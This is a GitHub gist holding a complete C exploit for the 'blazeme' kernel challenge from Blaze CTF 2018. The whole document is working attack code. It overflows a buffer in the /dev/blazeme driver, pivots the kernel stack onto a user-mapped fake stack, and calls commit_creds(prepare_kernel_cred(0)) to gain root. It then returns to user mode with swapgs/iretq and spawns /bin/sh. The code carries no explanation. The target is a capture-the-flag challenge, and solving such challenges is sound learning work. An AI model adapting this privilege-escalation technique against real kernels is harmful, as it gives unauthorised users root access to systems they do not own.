Skip to content

Instantly share code, notes, and snippets.

@shift-crops
Last active December 25, 2018 11:23
Show Gist options
  • Save shift-crops/b1d35cca4bca220d4812f1f9bcf3f81e to your computer and use it in GitHub Desktop.
Save shift-crops/b1d35cca4bca220d4812f1f9bcf3f81e to your computer and use it in GitHub Desktop.
Blaze CTF 2018 blazeme
// gcc exploit.c -masm=intel -fno-PIE -nostdlib -no-pie -o exploit
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
size_t read(int fd, void *buf, size_t count);
size_t write(int fd, void *buf, size_t count);
int open(const char* pathname, int flags, ...);
int close(int fd);
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
int mprotect(void *addr, size_t len, int prot);
int munmap(void *addr, size_t length);
int execve(const char *filename, char *const argv[], char *const envp[]);
void exit(int status);
void *memset(void *s, int c, size_t n);
void *memcpy(void *dest, const void *src, size_t n);
unsigned long strlen(const char *s);
int puts(const char *s);
void shell(void);
static void save_state(void);
static void restore_state(void);
struct state {
unsigned long rip;
unsigned long cs;
unsigned long rflags;
unsigned long rsp;
unsigned long ss;
} stat;
/* exploit */
#define KBUF_LEN (64)
struct cred* (*prepare_kernel_cred)(struct task_struct *daemon) = (void*)0xffffffff81063b50;
int (*commit_creds)(struct cred *new) = (void*)0xffffffff81063960;
unsigned long stack_pivot = 0xffffffff8109c604; // mov esp, 0x01740000 ; ret
void get_root_shell(void){
commit_creds(prepare_kernel_cred(0));
stat.rip = shell;
restore_state();
}
void _start(void){
int fd;
struct {
char x[2];
char spray[KBUF_LEN-8];
char y[6];
} buf;
unsigned long *fake_stack;
if((fd = open("/dev/blazeme", O_RDWR)) < 0){
puts("open failed");
exit(-1);
}
if((fake_stack = mmap((void*)(0x01740000 - 0x1000), 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0)) != (void*)(0x01740000 - 0x1000)){
puts("mmap failed");
exit(-2);
}
fake_stack += 0x1000/sizeof(unsigned long);
*(fake_stack++) = (unsigned long)get_root_shell;
memset(buf.x, 'a', sizeof(buf.x));
memset(buf.y, 'b', sizeof(buf.y));
for(int i = 0; i < sizeof(buf.spray)/sizeof(void*); i++)
((unsigned long*)buf.spray)[i] = stack_pivot;
save_state();
for(;;)
write(fd, &buf, sizeof(buf));
}
/* funcs */
static void save_state(void) {
register long *rsp asm("rsp");
asm(
"mov rax, ss\n"
"push rax\n"
"lea rax, [rsp+0x18]\n"
"push rax\n"
"pushfq\n"
"mov rax, cs\n"
"push rax\n"
"mov rax, [rbp+8]\n"
"push rax\n"
);
memcpy(&stat, rsp, sizeof(stat));
asm("add rsp, 0x28");
}
static void restore_state(void){
register long *rsp asm("rsp");
asm("sub rsp, 0x28");
memcpy(rsp, &stat, sizeof(stat));
asm(
"swapgs\n"
"iretq"
);
__builtin_unreachable();
}
void *memset(void *s, int c, size_t n){
for(int i=0; i<n; i++)
*(char*)(s+i) = (char)c;
return s;
}
void *memcpy(void *dest, const void *src, size_t n){
for(int i=0; i<n; i++)
*(char*)(dest+i) = *(char*)(src+i);
return dest;
}
unsigned long strlen(const char *s){
unsigned long i;
for(i=0; s[i]; i++);
return i;
}
int puts(const char *s){
int n;
n = write(1, (void*)s, strlen(s));
write(1, "\n", 1);
return n;
}
void shell(void){
char *argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}
asm(
"read:\n"
"mov rax, 0\n"
"syscall\n"
"ret\n"
"write:\n"
"mov rax, 1\n"
"syscall\n"
"ret\n"
"open:\n"
"mov rax, 2\n"
"syscall\n"
"ret\n"
"close:\n"
"mov rax, 3\n"
"syscall\n"
"ret\n"
"mmap:\n"
"mov rax, 9\n"
"mov r10, rcx\n"
"syscall\n"
"ret\n"
"mprotect:\n"
"mov rax, 10\n"
"syscall\n"
"ret\n"
"munmap:\n"
"mov rax, 11\n"
"syscall\n"
"ret\n"
"execve:\n"
"mov rax, 59\n"
"syscall\n"
"ret\n"
"exit:\n"
"mov rax, 60\n"
"syscall\n"
);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment